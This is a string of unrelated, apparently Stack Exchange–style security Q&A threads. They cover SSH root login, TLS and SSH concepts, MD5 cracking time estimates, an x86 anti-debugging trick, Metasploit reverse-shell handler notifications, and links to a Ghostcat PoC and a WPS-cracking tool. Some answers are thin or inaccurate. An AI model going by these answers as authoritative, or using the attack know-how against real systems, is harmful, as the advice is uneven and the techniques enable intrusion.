Is it wrong to root login with SSH? I've long been under the impression that with unix, you should never login as root.

Now I've started using Virtual Private Servers over at DigitalOcean, and some advice is to use SSH keys to login as root.

This makes sense to me but I feel uneasy, like I've been caught using tabs and spaces in the same text file.

Is it more secure to use SSH root login or as another user with a tricksy password?

First rule to remember is that you don't perform tasks as root unless they have to be performed as root.

This part reduces the risk of doing damage by a typo or other mistake. It also reduces the risk of damage if the tools you are using happen to have a security vulnerability.

Additionally accounts should only have the privileges they need and nothing more than that.

With those parts stated, let's look at the arguments for the two approaches to root access.

Arguments for logging in as non-root and using sudo

You get an audit trail in which it is easier to figure out who did what. You don't run every command as root, but only those which you prefix with sudo.

Arguments why it may not give you as much security as people say

The audit trail only works as long as people play by the rules. It is convenient if there are more than two people with sudo access or if you just can't remember everything you did yourself. Then you can look up who did something, and ask them why they did it.

But if anybody want to bypass the audit trail, they can. If you try to prevent somebody from bypassing the audit trail, those restrictions are likely to eventually prevent them from doing their job.

People may put sudo in front of every command by reflex, even when it wasn't needed. And in case of a security vulnerability, running without the sudo command won't give you lots of benefit since if an attacker compromise a running process, it doesn't matter if it was run with sudo or not, because it can just execve sudo to gain the same privileges.

Arguments why using sudo can be bad

The user password gives access to more privileges. The user may by typing the user password frequently. If an attacker gets this password, it can be used to run commands through sudo.

A compromised user account effectively gives root privileges. Remember the part about not running as root unless you had to, and giving accounts no more privileges than they need?

If you log in as non-root user for all tasks that don't require root privileges, you reduce exposure. You don't get that benefit if the account has sudo access. Those tasks that weren't run as root become a more valuable target for an attacker, if that same account has sudo access.

What else can you do?

If you want the best of both sides, you could give each administrator two logins on the server. One login for day-to-day tasks, that do not need root privileges. And a secondary login with sudo access for when they do need it. But then the only thing that is different between that second account and login directly as root is the audit trail. But it may be easier for people to forget that they are not supposed to use the account with sudo access all the time. Remembering to not log in as root all the time seems a bit easier for people to remember.

What about password brute forcing?

Some argue that it is easier to brute force a password for an attacker that only need to guess a password and not both user name and password. In reality this is a weak argument.

You can configure sshd to only permit logins using a key. There is no need to permit login using a password. If password logins are not permitted, then password brute forcing is no longer an issue. There does not even need to exist a password, that gives access to the root account. And nobody is going to guess the secret key for ssh authentication.

When /root/.ssh/authorized_keys contain a public key for each administrator, those public keys could be used as an audit trail showing who did what. And it is just as easy to revoke access by removing a key from authorized_keys as through any other means.


One Time Pad Algorithm without sharing keys On my walk to work today I thought of the following encryption algorithm and could not determine the flaw. It uses one time pad's that don't need to be shared and has a Diffie-Hellman key exchange flavor to it:

Say Alice wants to sent a message M to Bob so she generates a random
one-time pad A and sends M' = (M xor A) to Bob.
Bob also generates a one-time pad B and sends M'' = (M' xor B) back
    to Alice.
Alice then uses her one-time pad again and sends M''' = (M'' xor A)
        back to Bob.
Bob then simply retrieves the original message which is (M'''
            xor B).

That cypher sent in step 1 is (M xor A).
The cypher send in step 2 is (M xor A xor B).
The cypher sender in step 3 is (M xor A xor B xor A) = (M xor B).
Bob then can decrypt the final message M = (M xor B xor B).
All eavesdroppers only see messages encrypted with some safe combination of the keys A and B. Even though Bob can determine Alice's one-time pad A in step 3, there was never any need to share keys.

Here is a simple 32-bit example (^ = xor):

M = 1234ABCD  secret message
A = 4A3109AD  Alice's key
B = F499803C  Bob'e key

M         = 1234ABCD
M^A       = 5805A260
M^A^B     = AC9C225C
M^A^B^A   = E6AD2BF1
M^A^B^A^B = 1234ABCD

Why is this not perfectly secure?  (P.S., I am ignoring trust issues and man-in-the middle issues -- which may be where the problem lies).

An eavesdropper will see all three messages (M xor A), (M xor A xor B) and (M xor B)

He combines them with (M xor A) xor (M xor A xor B) xor (M xor B) which gives M


GSEC Certification clarificationadvice? Apologies if my questions seem a little basic or not meant for a technical forum (Unsure where to post a career related question). I am looking into doing courses and certifications with the aim of becoming certified for penetration testing with a possible specialisation into Wireless and Web Application security.

With this in mind I was looking at the www.giac.org certification roadmap and a little unsure as to which course(s) to plan for. I'll probably self-study and then write the exam for the introductory courses with a view of taking live classes for the more advanced courses.

What I am unsure on is which courses to write the exam for in which order? I assume for Penetration testing I would need the following (In order) or am I repeating course materials in any of these?

GISF: GIAC Information Security Fundamentals
GSEC: GIAC Security Essentials
GPEN: GIAC Certified Penetration Tester
GWAPT: GIAC Web Application Penetration Tester
GAWN: GIAC Assessing Wireless Networks

Taken from: https://www.giac.org/certifications/get-certified/roadmap

Are any of these unnecessary?

I have already taken the step of purchasing a number of books from amazon on Penetration testing, set up some Virtual Box environments installed with various vulnerable OVAs from the OWASP site and install various, SP1 windows systems.

I've had a play around using Metasploit, nmap, etc to first see if the industry is something I'd be happy with moving into and can say it completely fascinates me and now want to to the certifications formally with a view of possibly getting a job with a team in a few years as a 47 year old (I am 45 now).

Hence my question about the roadmap above, I do not want to spend time on something I will not need as the courseware and exams are quite expensive and I'll be funding this myself.

As a side note, I am currently a senior web and mobile application developer.

Many thanks
John

In my opinion going for SEC560 then SEC660 and SEC760 after that you can go confidently for the OSCP , OSCE.

  note : if you got took SEC560 ,660 ,760 you dont really need to go for off-sec certs , but it you want more experience .. go for it

If you're more into Web Application Penetration Testing you better go for SEC542 then Take the SEC642 then the OSWE

  note : OFFENSIVE-SECURITY certifications are cheep comparing with the GIAC
  Certs but they're much harder to get , you need to study for at least two
  months for them "full time studying"

If you want to be a pentester "only" then follow my plan

but if you're planning to get a master's degree or GSE then you better follow the specified courses

  read more about the GSE : https://www.giac.org/certification/security-expert-gse

  read more about the SANS Pentesting certs program : https://www.sans.edu/academics/certificates/penetration-testing

I dont think that you really need GSEC or GISF
because you're already familiar with some of the most important tools and you have a good understanding of the hackers tools and techniques

  if youre going for the Web apps i suggest you get a copy of the owasp web app pentesting methodology from this link : owasp. org/images/1/19/OTGv4.pdf

note : i'm the youngest GPEN holder on earth and i asked your question to the SEC560 instructor and that was his answer


How does a firewall software intercept network communication? I have a basic idea of what a software-based packet filter does, and I'm not sure if it's entirely accurate.  Basically, a packet filter is a loadable kernel module that is inserted into the network stack between the network layer and the transport layer and tells the kernel "Instead of sending incoming packets to the transport layer, send them to me first, and I will decide whether to forward them or not.  Also, do the same thing with outgoing packets."

My two questions are:

Is my idea accurate,
How does the packet filter get the kernel to listen to it and bypass its normal packet forwarding behavior, sending all packets to the filter instead?

I'm curious about how such a firewall would actually be implemented (at an abstract level; I'm aware I could just look at the source code for a firewall, but that would be rather tedious).

It is not the packet filter which gets the kernel to listen to it, it is the kernel which entrust network data to the packet filter.

The packet filter and the kernel must be compatible, technically speaking the kernel must offer specifics hooks used by the packet filter to do its job.

On Linux for instance, behind iptable front-end you will find that the Linux kernel offers hooks allowing the Netfilter framework to register callback functions:

If the firewall is not enabled, there will be no callback registered so the kernel will handle everything by default,
If firewall is enabled, Netfilter will have registered its callback functions so the kernel will be able to call them when appropriate.


how to make software reverse engineering difficult In software reverse engineering, we use a dissembler, a debugger, and a code patcher. OllyDbg includes all. One of the differences between actual execution of a program and debugging through using OllyDbg is, in OllyDbg the instruction pipe-lining is not used.

How can we take advantage of this fact to make the software immune to reverse engineering attacks?

The obvious answer is write an instruction that modifies already fetched instruction.

My question is how do we write a higher level language code, which after getting translated into assembly language will have instructions such that some instructions scramble previous instructions (those should be fetched before getting scrambled...here we might have to assume size of instruction pipe, say X).

Is it possible to write such code in a higher level language, if yes can I have an example.

Here's an example in x86 assembly:

MOV AX, 4Ch
MOV [someaddr], AX
MOV AH, 30h
INT 21
CMP AL, 5

This will take advantage of the instruction pipelining of the processor and the failure of debuggers (as they single step through the code) and can as well be an example of an anti-debug measure.
This is so because int 21(DOS interrupt) along with an 30h in AH will return the dos version of the platform. However the first two lines have been so crafted that [someaddr] will become 4Ch (someaddr has been so chosen such that it contains the address where 30h  has been stored). Thus, 4Ch in AH followed by int 21 will terminate the program (interrupt thingy!).
Without the influence of a debugger this won't  be a problem as the third line will be prefetched and the first two lines will have no effect. But debuggers will be broken as they single step the code and AH will now contain 4Ch which will of course terminate the program.
You asked for the higher level version of it. For that you will want to know how gcc (or any other compiler toolchain) converts C to asm code and then decompile the above code.
http://www.programmingforums.org/thread4484.html

But some really cool guys came up with a solution and actually wrote a countermeasure (debugging a loop which has been software-pipelined): read Non-transparent debugging for software-pipelined loops by Hugo Venturini, Frederic Riss, Jean-Claude Fernandez and Miguel Santana.

Another solution to it would be to make the debugger aware of the pipelining.(drop a mail to Oleh!)


How do web email clients store my passwords from other providers? The situation comes down to this:

When I enter in hotmail, it retrieves my messages connecting to other providers: they could only do so by using my email and password.
Since I had signed in a couple of days ago, I do not need to put my email/password again: hotmail doesn't know any secret about me/this specific session.

From these points, I can only infer:

They store a master password derived from my original password in my cookies. Thus, when I come back, they use that to decrypt the emails.
They have it stored using a master, per-site password.

However, both of the solutions seem really weak. Any idea on how to implement a secure, cookie persistent connection and encrypting passwords?

Note: please read this question from me about why I'm saying encrypt and not hash passwords.

You seem to talk about two different things: retrieving mail and encrypting mail. From reading the question I think encryption is not what this is about. So for now I forget about it.

When you login to Hotmail or Gmail via your browser, you use your login. It looks like you have more email addresses and possibly popboxes. Now it depends on how you setup those other addresses.

Example

Hotmail: fpresencia1990@hotmail.com
Alias: presencia2@myprovider.com
Popbox: franpres22198@myprovider.com

The alias forwards mail sent to it automatically to the forward address. This can be the popbox by the same provider, or it can be any other address like your hotmail. The popbox now has an ugly name. It could have a nice name as well, or the same name as the alias, in which case the alias would not exist.

Situations

The alias forwards to Hotmail directly - no login required by Hotmail.
The alias forwards to the popbox, which forwards to Hotmail - no login required by Hotmail.
The alias forwards to the popbox, and Hotmail fetches the mail from the popbox by pop3. Hotmail needs the popbox login, which you enter only one time, and stores this permanently on its own servers. Nothing is stored in a cookie on your computer. You can check this by logging into Hotmail on another computer where you never used to enter the popbox credentials.


Does DNS-based blocking protect against ransomware? I have been looking into OpenDNS as something to possibly use at my company, and they claim that Cryptolocker-style ransomware almost always uses DNS to "phone home" and that OpenDNS blocks this, preventing the ransomware from doing anything malicious.  This seems a bit dubious to me, as I would think that malware creators would either hardcode IPs or hardcode DNS server IPs (like a shady version of 8.8.8.8) instead of using the OS's default DNS server. I get that hardcoded IPs for the botnet-controller (or wherever the malware is phoning home to) would be problematic if that IP gets shut down or blocked, but I imagine they could use a different DNS that would continue to resolve their hostname even if they were using it nefariously.

Am I missing something?  Is this truly how ransomware acts in the wild, or is this claim just marketing?  Is there any technical reason ransomware would use the OS DNS server and couldn't use its own?

Yes this will block it. Using a hardcoded IP address for anything as a cracker is an awful idea as it ties you to a single point. If you're a cracker you want to stay mobile, moving, and in such a way they can't find you. Being tied to a single, static IP address makes you REALLY easy to find. Otherwise you would first have to send a new version of the malware with the DNS for tomorrow, and then that pattern could EASILY get you found once someone just connects manually, get the new malware, pulls out the DNS, finds the IP registered for tomorrow, goes and lies in wait, and then you're caught.

This problem gets solved on their end by using a DNS to keep floating IP addresses tied to their domains. This DNS needs to be contacted to "phone home" to a server that will send the botnet a command. OpenDNS logs these malicious botnets, and blocks them on a DNS level, so the OS and infected computer has no idea that it can't even reach the botnet. It just thinks that the cracker isn't doing anything right now, and so it doesn't join the botnet. To do this OpenDNS just prevents access to those servers.


How is the session ID sent securely? I'm learning session management and I have two questions for which I could not find answers on the web.

Once the user is authenticated, the server creates the Session ID and sends it to the client (user) in the form of a cookie. This cookie is then subsequently used in requests the client sends to the server to identify himself among other users.

Now in a HTTPS session, the requests sent between the client and server are secured, as requests from the client are encrypted using the public key of the server, and it can only be decrypted using the private key which the server only has.

But initially when the server sends the cookie information to the client, it could be intercepted by anyone as even if this cookie which contains the session ID is encrypted using the private key. It could be decrypted by anyone having the public key. So, my question is:

How does the server make sure that the session ID created by the server is securely sent to the client.
I learnt that the client sends the cookie for each request it makes to the server. In a GET request, how does the client send the cookie information, as GET does not include the body?

The connection between the client and the server does not use public key encryption (that is only used for the initial key exchange). A different algorithm is used for encryption (usually a symmetric encryption), such as AES-256-CBC on a TLS 1.2 connection. So unless you intercepted it, no one but the intended browser and the original server can decrypt the message. So interception is not as easy as having the public key information from the server.

The cookie is not sent as a GET request. It is added to the headers as Cookie:[Token]; [Other cookies];. The underlying request type is irrelevant for this. (The default request type is GET, however.)

I would suggest that you look at the network traffic from your browser to a website to which you are logged in, and see what is being used where. (This is easy to do in Chrome.)


Cracking MD5 passwords with the same salt How long would it take to crack passwords up to 10 letters long if you knew the hashes were MD5 with a salt (that you know)?

Computation is simple enough, though there are some hidden assumptions.

On this site, one can find benchmarks for some GPU-based cracking systems. One of them, featuring no less then eight AMD R9 290X GPU, can compute 93.8 billions of MD5 per second.

There are 2610 = 141167095653376 possible sequences of 10 letters. At 93.8 billions per second, they can all be hashed in about 1500 seconds, i.e. 25 minutes. On average, finding the right password will take half that time (sometimes you get lucky, sometimes you don't).

However, mind the details:

MD5 is a hash function. Its standard definition does not speak of passwords or salts. When you have "passwords hashed with MD5 and a salt", then you really are using some unspecified algorithm which uses MD5 as one of its internal elements. Whether the computational cost of the algorithm can be reduced to "just one MD5" depends on that algorithm. Some MD5-based password hashing functions actually imply several MD5 invocations, possibly a lot (in that sense, PBKDF2 with HMAC/MD5 is an algorithm "based on MD5" and can involve billions of invocations for each password).
The computation above assumes 10 lowercase letters. If the password may include both lowercase and uppercase letters, and they are treated differently, then the number of combinations rises to 5210 = 144555105949057024, for a corresponding brute force time of 17.8 days. If we use printable characters (the 95 ASCII signs, excluding control characters but including space), the number of combinations rises again, up to 9510 = 59873693923837890625, for a brute force time of about 20 years (again, this is for the complete space exploration; attack time will be half that value on average).
Conversely, when normal human users are supposed to generate a password, they come up with "witty" passwords, not "random" passwords. Among 10-letter possible passwords, some are widely more probable than others. Attackers will try the passwords by beginning with the more probable ones, and this reduces attack time quite a lot.
The system used here as example is quite big in amateur terms (8 big GPU...), but an industrious attacker may accumulate more power. He may also rent it (from commercial cloud systems), which can be cost effective. There is no absolute answer to your question if you do not first define the attacker's budget.


How to copy Subject Alternative Names in csr while signing a cert? I already know how to add Subject Alternative Names (SANs) to a Certificate Signing Request and I know it's possible to manually add once again to a certificate which is similar to add SAN to csr using OpenSSL like this:

openssl x509 -req -extfile < (printf "subjectAltName=IP:xxx" -days xxx -in xxx.csr -signkey xxx.key -out xxx.crt

Is there a way to achieve this with CLI?

The key is copy_extensions. I'll try it. And this link explains it:
https://unix.stackexchange.com/a/372393

It is not possible to specify a SAN in OpenSSL solely at the command line*.

FWIW, I wrote a wrapper that allows you to do that by dynamically generating a temporary openssl.cnf behind the scenes for you:  one_genkey

  A script for creating Certificate Signing Requests from the CLI,
  hiding the OpenSSL config file complexity.

*Per dave_thompson_085's pointer to this answer, openssl 1.1.1 added an -addext option to req which will allow this.  The sheer ingenuity of contortions provided in all the other answers on that page are a testament to how big a pain this has been for all time leading up to openssl 1.1.1, and all those systems (cough RHEL) still languishing with something other than the head branch.


Global user override - Uncomfortable We have recently started a project with a service provider who is a little old fashioned in their ways. They provide a product but don't market it particularly well, so we (as users of the product) have become involved in selling/marketing/improving this product. The service provider administers this product, while we run the customer facing website, giving people a nice UI, 24 access, etc.

Because of the nature of this product, customers can either use the website, or phone the company directly to purchase, discuss, update if they would rather.

All the automated back and forth between their systems and ours are fine, until it comes to working via the phone.

I am in favour of a webhook type system where any changes made directly on their system would notify us, and our system would check and update accordingly. However, they are a little averse to adding anything to their existing systems and would rather have some way that their phone staff could globally override any user's login to make the changes directly on their online account.

To clarify that:

User calls to say they've changed address.
Staff navigate to example.com, log in to user account (in some as yet undefined way).
Staff enters details for customer, clicks save.
Updated details send back to service provider systems.

As far as I can see, this an incredibly insecure way of going about this. However it has been, and will be very difficult to convince the provider to undertake any more work than they absolutely have to.

So I guess the question is:

Firstly, am I wrong; Is there a reasonable way of doing this without compromising security?

And if not, is there something I can cite to say to them that this would be a breach of security/privacy at an unacceptable level? Any relevant UK laws?

This is a bit odd, usually the provider staff would have their own accounts with which to make changes to customer details. How it works isn't as important as providing:

Accountability: all actions by staff accounts would be auditable (if it's implemented properly)
Protection for customer accounts: the staff would not know customer login details

Having staff log in as customers to make changes could be done securely as long as it is accountable, and that the staff would not know the customer login details. This means developing some sort of abstraction layer which would track staff actions and handle the logins. This seems to be needless complexity, if you are going to develop this you may as well simply have them use their own accounts in the first place.

If they simply want to have the staff login as customers without these protections in place then that is definitely bad in many ways. You don't need laws to flash in their faces, just customer experience - every time the client calls in they would be asked for their password by customer service, and then have to change it afterwards. Ask them if they want their customers to know that's how they do business.


How to prevent your WiFi from getting hacked by Kali Linux? There is a tool on GitHub named HT-WPS Breaker by SilentGhostX (https://github.com/SilentGhostX/HT-WPS-Breaker) that can be used to break into others WiFi in seconds. How to prevent your WiFi from getting hacked ?

WPS stands for WiFi Protected Setup. It is a configuration protocol aimed to ease the configuration of (adding) new devices.

WPS is not required for WiFi network to work and the configuration that it automates can be performed manually.

As a non-essential protocol, the easiest and most reliable method of protecting against exploiting it, is disabling the WPS altogether.

The weakness in WPS mechanism is an ease of performing a brute-force attacks.

Implementations of WPS differ among devices and some vendors offer additional measures to impede the attack attempts, so it doesn't mean that a WPS-enabled device is inherently insecure.

The attacks on the other hand take advantage of insecure default settings or firmware bugs in some devices and there is no solution to the problem other than user awareness.


Why is SNMP vulnerable to IP Spoofing? I read on Wikipedia's Article on SNMP

  SNMPv1 and v2 are vulnerable to IP spoofing attacks, whether it runs
  over TCP or UDP, and is a subject to bypassing device access lists
  that might have been implemented to restrict SNMP access.

I'd like to ask why.

SMMP is used to manage low-end devices, they usually have only rudimentary networm stacks. No firewall, for one.


Can people know the server I'm connecting to despite being on SSH/HTTPS? I understand that by connecting securely over SSH or HTTPS, the data that I transfer is cryptographically secure. However, can someone spying on my connection still determine the server I'm sending it to? If they can, what are the risks? What information can they get from it?

They can. In order to establish a secure HTTPS connection a handshake must happen between you, (the client, i.e. your browser or any other application) and the server. Any data sent within the handshake is not encrypted.

About the risks, it's a broad topic to discuss. The plain information that you are connecting to some public server (Facebook, Gmail, etc.) might be useless, but there might be situations when this information actually might be a leverage for the attacker. It depends on the concrete situation.


Are digital signatures sent with the message that are contained in them or is just the digital signature sent? Are digital signatures sent with the message that are contained in them or is just the digital signature sent? Since when the public verification transformation is applied by the recipient to the digital signature you receive both the message and a boolean indicating if origin of authentication, non-repudiation and integrity are all intact.
It seems redundant that the message is sent with the digital signature (since as mentioned after applying the transformation you get the message back anyway). However, it also doesn't seem practical to not send it - so i'm not sure.

All the systems I have used do the following

Compute a hash of the message using a hashing algorithm.
Create a digital signature of the hash value using public-key cryptography.

essentially this the encrypted value of the hash

Append the signature to the message (or vice versa) in a container.

This provides proof of sender identity and message integrity without providing confidentiality.

The recipient will then

use the sender's public key to decrypt the signature and obtain the hash value,
independently compute the hash-value from the message text
compare the two hash values to verify authorship and message-integrity

An example of this is XML-DSIG

A signed XML message might have this sort of structure.

<Envelope>
  <Header>
    <Signature>
       ...
    </Signature>
  </Header>
  <Body>
    <From>Sue</From>
    <Text>Meet at Foo HQ at 12:30!</Text>
  </Body>
</Envelope>

The content of the message is not reproducible from the signature. The two things are separate.

Similar ideas apply to other uses of digital signatures.

One reason is that public key cryptography is slow, so you apply it to the smallest amount of data needed for your purpose.

If you need confidentiality you encrypt the message body using faster symmetric (shared-key) cryptography. The sender can then include the symmetric key with the body hash and other matter that is encrypted using public-key cryptography. The hash is encrypted with the sender's private key but the shared key would be encrypted using the recipient's public key. The shared key and the message hash will generally be much shorter than average message body content, and so this approach is quicker and makes better use of computing resources.


Why rekey long-lived connections? Why is rekeying after a certain period of time, or after a certain volume of data transfer, often implemented in modern secure transport protocols such as ESP or TLS?

What are the security risks of using a symmetric key for too long, assuming the underlying cryptography is sound and strong (say, 128-bit AES-GCM)?

How does exchanging and starting to use a new key mitigate these risks?

Rekeying is a part of perfect forward secrecy, if a malicious attacker is storing all your communication data hoping to get hold of the key in the future. Exchanging the key often will make it next to impossible to decrypt old messages with a current key. See https://en.wikipedia.org/wiki/Forward_secrecy


How to understand "Multiple Handshake Message" in TLS message type? Here's a trace, which has multiple handshake message. Anyone knows when will this message type appear?

I assume you mean "when will Multiple Handshake Messages appear?"

That simply indicates that multiple TLS handshake messages (server_hello and certificate in this case) showed up in the same packet.

Wireshark puts that there to indicate to you, the viewer, that there are multiple distinct handshake messages to be reviewed.  It is to prevent you from looking at the top of the packet, saying "Oh, I don't care about server_hello, I'm going to keep looking at the next packet to find the certificate" without realizing they're both there.

Put differently, "Multiple Handshake Messages" isn't a TLS message type, it doesn't correspond to any bit set in the TLS packet itself, it's meta-information - a conclusion about the packet - being noted by the tool displaying the packet.


Objectives of TLS_FALL_SCSV and finished-message I'm not sure, I can tell the purpose of a TLS_FALLBACK_SCSV. Can it prevent any attack that the finished-message can't?

As far as I understand, the FIN message acts as an authentication code that stops active attackers from dropping protocol versions from the Hello message. What other vulnerabilities does the TLS_FALLBACK_SCSV fix?

Thanks in advance

A typical behavior of tolerant TLS clients (i.e. browsers) is that they first try a connection with the best TLS protocol version they can. If this fails because of handshake errors, close of the server or similar strange errors they will retry again with a lower TLS protocol version in the hope that they deal with a buggy server which can only properly deal with lower TLS versions.

Since this behavior could be misused by an active man in the middle to enforce a downgrade to a lower and less secure TLS version in order to make use of possible insecurities in this version. Therefore modern clients either don't do such downgrade any longer or they add the TLS_FALLBACK_SCSV pseudo cipher to signal that this is not the best protocol version they could offer. A server which understands this pseudo cipher can thus detect if some man in the middle attempted a TLS version downgrade.

A finished message will not help in this scenario because it will detect modifications of the current handshake but not TLS downgrade because of a connection close inside the handshake which was caused by a man in the middle.


Checking the certificate sent back by the CA If a client sends a CSR to the CA and gets back a certificate signed by the CA, then is it standard practice for the client to verify if the certificate is indeed signed by the CA or can the client trust the CA & assume that there is no compromise (man in the middle etc).

Upon certificate retrieval, client executes certificate chaining engine (at least, Microsoft CryptoAPI does) and validates the certificate. This includes full certification path, trust and signature validation. Since, the certificate is signed by CA, certificate tampering will be detected immediately.


Server takes 30 seconds to respond to simple request. DoS? I'm testing a web app and noticed that by converting a particular GET request to a POST request the server takes about 30 seconds to respond and then returns a generic error page (compared to the original GET request which took the server about 300ms to respond).

What are the chances that this could be used for a DoS attack and how serious would that be?

I'm asking because I'm hesitating to submit this bug to the app owner who is running a bug bounty program as I do want to avoid negative feedback/reputation.

What are the chances that this could be used for a DoS attack and how
  serious would that be?

The chances are good. If a specially crafted request causes an unusually long waiting time that's a good indicator that you're occupying a thread on the server and found a potential Denial of Service attack vector. DoS bugs often get overlooked in web applications but there are quite a few ways in which they can occur (SQL wildcard attacks, pending network requests, etc.). Against many web frameworks there have been published advisories on DoS flaws, like this one for Wordpress.

The severity obviously depends on the service they're running. A small web shop could lose a few potential customers - on the other hand, for a bitcoin trading site it could result in great money loss.

  I'm asking because I'm hesitating to submit this bug to the app owner
  who is running a bug bounty program as I do want to avoid negative
  feedback/reputation.

Bug Bounty Programs often explicitly exclude DoS vulnerabilities from their scope. But that doesn't mean they're not interested - rather, vendors are often afraid to encourage attacks which would likely impact their services (which a DoS clearly does).

I would still report it. BBPs have rewarded DoS flaws in the past, for example here or here. I'd clarify that you have not actively been looking for DoS bugs but found behavior that strongly indicates that a DoS attack vector might be there. I'm sure they're interested to have a look at this if they recognize you as a responsible researcher.

There is also this OWASP guide on testing for DoS vulnerabilities, but as said, I wouldn't actively do it without permission. That wouldn't be the first time someone got banned from a BBP.


Tomcat AJP vulnerability CVE-2020-1938 aka Ghostcat I have a question about Tomcat vulnerability CVE-2020-1938 aka Ghostcat. The security researcher who discovered the vulnerability created a write up here: https://www.chaitin.cn/en/ghostcat and a PoC here: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.

Can this vulnerability still be exploited when Apache is acting as the reverse proxy for Tomcat (and communicating with it using AJP) or would it only work when communicating directly to the AJP service on Tomcat?

I can't get the POC to work when using Apache as a proxy but I don't know if that's because of my lack of experience with Apache, Tomcat, and AJP and/or the lack of implementation in the POC to support exploitation over such a setup OR if the vulnerability is in fact only exploitable when communicating directly with the AJP service port 8009 on Tomcat.

The vulnerability is present in the binary interface that the AJP server provides, and will only be available to Apache HTTPd. Unless the AJP port is exposed to a public network, one cannot exploit it by simply issuing HTTP requests to Apache HTTPd.


Why did I see an insecure browser warning on a page with HTTP links? I noticed that a particular page that is served over HTTPS gets an insecure content warning in both Chrome and Firefox. This seems to be because the page  has an anchor with an href property pointing at a plain HTTP site.

Why is it a problem? What kind of exploit can be performed in that situation?

If the linked resource is an image or a script, often the main concern is not that an attacker could read it, but that an attacker could hijack the request and inject a modified version of the resource to change the look or behavior of the page - scripts especially, as they could be modified to do something malicious like redirecting the user to another website or stealing data the user enters into the page.

(As a somewhat unrelated side note, I personally disagree with the way many browsers handle displaying these warnings. A partially encrypted connection is still an improvement over no encryption at all, but the way some browsers show prominent warnings makes it look "worse" than an unsecured HTTP page. I prefer Safari's way of doing it, which shows "https://" but no lock icon on these pages)


How to get informed in metasploit when a user does a reverse shell to my computer I sometimes do reverse shells on metasploit but I'm not sure when my target will actually execute the payload. I would like an alarm of some sort to tell me when he does. this can easily be done in a script.

Is there a way for metasploit to execute a script once he connects to my terminal? I am using that "exploit/multi/handler" thing for the incoming connection.

Yes it is possible have a look at http://www.digininja.org/metasploit/session_created.php it explains how to do it!

Also useful http://seclists.org/metasploit/2010/q1/87

Relevant excerpt from the links in case they ever go down:

  A version of this has been added to trunk, just svn update /
  msfupdate:

msf> load sounds

  You can create your own "theme" by copying data/sounds/default/ to
  data/sounds/mytheme, modifying the files, and then loading the plugin
  with:

msf> load sounds theme=mytheme

  I haven't tried the Windows version but from what I've read it should
  work and most people will have the required gem installed by default.
  If you don't you can install it with:

gem install win32-sound


Is it possible to bypass sniffing when using port mirroring? INTERNET <-A-> ROUTER <-B-> PC

Let's theoretically think we mirror the port on a ROUTER to a file. So the full network traffic on it.

Question: is it possible to still have communications on that wire (between the PC and the INTERNET) that will not be in the capture file?

To be more specific: Can the PC bypass the sniffing with ex.: using a new protocol?

The important thing is the traffic. Not that it is encrypted or not.

Yes, but under very limited circumstances.

Under heavy loads SPAN ports are known to drop packets. Forced to make a choice between continuing to route/switch traffic or mirroring it to a second interface, the former will always take precedence.

It is entirely possible that a PCAP will not contain all the mirrored traffic you expect, but it is unlikely a user could deliberately bypass it unless they also flooded the device.

This is pretty much the use case we have for monitoring mainframe traffic. SPAN ports are not 100% reliable. Do not use mirroring if you need incontrovertible evidence of network activity. Buy a tap.


SSH: What's the difference or interplay between /etc/ssh/[host files] and ~/.ssh/[public key] I'm new to SSH after a decade of dabbling with Ubuntu and other Linux builds. Today I successfully setup SSH, but I had a few hangups and headaches along the way. Although the system is now running properly, I'm not entirely sure how it's working, and that's driving me mad.

The main headache I was running into for awhile was this:

I'd SSH into my Ubuntu machine via OS X and the "ssh" command. When I did that, I would get the warning that this was a new host I was connecting to, and I was given an RSA fingerprint.
I'd then access my Ubuntu machine (via VNC) and run ssh-keygen -lf [public key], and the fingerprint was different.
Frustration.

After poking around for awhile, I discovered the /etc/ssh/ssh_host_rsa_key.pub. Long story short, I checked the fingerprint, and voila, that's where OS X was getting the fingerprint. Inside of the same folder, I see what appears to be a matching private key (verified by checking fingerprint) Excellent.

So now my assumption is that these are pre-made default keys that you can use without having to generate your own keys or any of that. Because I have generated my own (password protected) keys, I wanted to replace them. So then I went into the SSHD_config file and changed the directory for the RSA key to my home directory (~/.ssh/[public key inside of authorized_keys file]). And then I deleted the ssh_host_rsa_key.pub. That didn't work. I rebuilt the host keys, undid the configuration change, left my generated public key in the home directory, and moved the generated private key to the client. The connection works great, and the fingerprint OS X (my client) prompts me with matches the ssh_host_rsa_key.pub.

Moreover, I know the security is working, because if I remove the authorized_keys file from my home/.ssh/, my client can no longer connect.

My questions:

If OS X, my client, is telling me that the fingerprint is that of the ssh_host_rsa_key.pub, why am I able to connect without a matching private key?
Put differently, what role does the ssh_host key play (without a matching private key being on the client), when I'm also needing the generated private and public key to be properly in place?
Is it accurate to say that ssh requires two public keys and one private key to connect properly? Or should I overwrite the contents of /etc/ssh/ssh_host_rsa_key.pub with the contents of my generated public key (which is also in authorized users)? [Edit: I tried replacing the ssh_host_rsa_key.pub and ssh_host_rsa_key with my generated private and public keys (renamed, of course). When I tried restarting SSH service, I get "End must be KEY=VALUE pairs"). So I broke the SSH service.]

Thanks in advance for the help. I've been Googling for hours, and even called my more-tech-savvy friend, who happens to work at Google. And I haven't gotten an answer.

Host keys authenticate the server to you, your keys authenticate you to the server.

The SSH Host Key provides a fingerprint that you can use to validate you're connecting to the server you think you are.  You manually verify the public key fingerprint you're presented during your first connection, then you save it.  For every connection after that, the server sends you something which proves it holds the private key that matches that public key, so you know it is the server that you manually verified that first time (...because only that server has that private key).

This is completely separate from the key pair that you use to authenticate yourself to the server.  They're both key pairs, yes, but held by different entities, for different purposes, at different points in the connection process.

In all, the SSH connection requires two key pairs -

Your Client software checks the Server's (host) public key against data the server sends encrypted with the host private key.  This requires you to have a copy of its public key, which you're handed at the first connection and your client stores if you approve of it.
The Server checks your authentication data encrypted with your user private key using the copy of your user public key that it has a copy of because you put it there (or had someone put there for you).


Is my iPhone being targeted by the US Department of Defense? Below is a screenshot of a text message my mobile device received within the past hour. It contains the text "6.216.198.5:8006/Y/0329235420500012000110000" from the number "1111301000". I am curious if anyone has any insight for what this message could mean.

The contents of the message contain an IP address and TCP port. When checking the IP address on ip-tracker.org, it reveals that the IP address belongs to the ISP of the US Department of Defense. Referring to the IP block on http://www.ispinfo.net/isp/6.216.198.html reveals that the ISP is specifically part of the USAISC, which is the United States Army Intelligence and Security Command.

Pinging the IP address fails, and I'm unsure what the random sequence of numbers following the IP address could mean. Is this message from or directed to the Department of Defense? Any assistance deciphering the meaning or origin of this message would be appreciated. Thanks!

